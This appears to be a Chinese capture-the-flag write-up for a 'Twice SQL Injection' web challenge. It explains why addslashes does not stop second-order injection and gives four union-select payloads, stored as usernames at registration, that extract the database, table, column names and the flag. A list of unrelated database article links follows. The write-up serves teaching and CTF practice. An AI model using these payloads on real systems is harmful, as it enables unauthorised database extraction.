【WEB】October 2019 Twice SQL Injection

打开题目,进入到注册页面:

随意输入1和1进去。

登录进去,发现有输入框,猜测是不是SQL注入,再次进行测试。

发现我们的单引号被转义了。

合理猜测有addslashes的存在。

  • 它会在 '、"、\、NUL 前面加一个反斜杠。比如你输入 1' union,它变成 1\' union。
  • 在当次 SQL 里,\' 表示 "一个普通的单引号字符",不再起到 "闭合字符串" 的作用,所以注入语句被封死 ------这就是第一次(注册、登录、改简介)直接注入都失败的原因 ,你在输入框里能看到回显变成了 \'。
  • 但是 :反斜杠只是给 SQL 解析器看的 "转义记号",insert 真正写进表字段时,存的是转义后的值本身,也就是那个干净的 ',反斜杠不会被存进去。
  • 于是:等以后这条数据被读出来、再拼进另一条 SQL 时,如果那个地方没再调用 addslashes ,原始的 ' 就 "复活" 了 ------ 这正是二次注入。

当我们在注册页面进行SQL注入:

zz 是个不存在的用户名,让前半截查空;

登陆后再次查看发现回显位为1。

接下来继续这样操作,脱库脱表脱列:

sql 复制代码
zz' union select database()#
sql 复制代码
zz' union select (select group_concat(table_name) from information_schema.tables where table_schema=database())#
sql 复制代码
zz' union select (select group_concat(column_name) from information_schema.columns where table_name="flag")#
sql 复制代码
zz' union select (select group_concat(flag) from flag)#
相关推荐
程序猿乐锅25 分钟前
【黑马点评 | 第七篇】Redis 分布式锁的两种实现
java·数据库·redis·分布式·spring·缓存
这个DBA有点耶26 分钟前
连接池与MySQL交互实战:连接风暴、连接泄漏与连接状态异常排查
数据库·mysql·架构
TDengine (老段)30 分钟前
TDengine TSDB 实战排障三(集群高可用)
数据库·物联网·时序数据库·tdengine·涛思数据·问题排查
需要82642 分钟前
MySQL MVCC 与事务隔离级别:从一条 update 看版本链
java·数据库·spring boot·mysql·spring cloud
夜雪一千1 小时前
MySQL 默认值使用方法
数据库·mysql
SelectDB1 小时前
1TB/天 × 30 天日志成本怎么估:核对命令、降冷配置与踩坑记录
大数据·数据库·数据分析
SelectDB1 小时前
日志选型别只比 Loki 和 ELK:三条路径、一份可复制的落地清单
大数据·数据库·数据分析
bksczm1 小时前
MySQL进阶篇之范式及E-R图
数据库·sql·mysql
SelectDB1 小时前
ES 写入拒绝与磁盘暴涨:排查命令、参数调整与改用 Doris 的落地步骤
大数据·数据库·数据分析
此时不提桶,更待何时1 小时前
05-04-B-HBase与时序库面试与生产事故实战
数据库·面试·hbase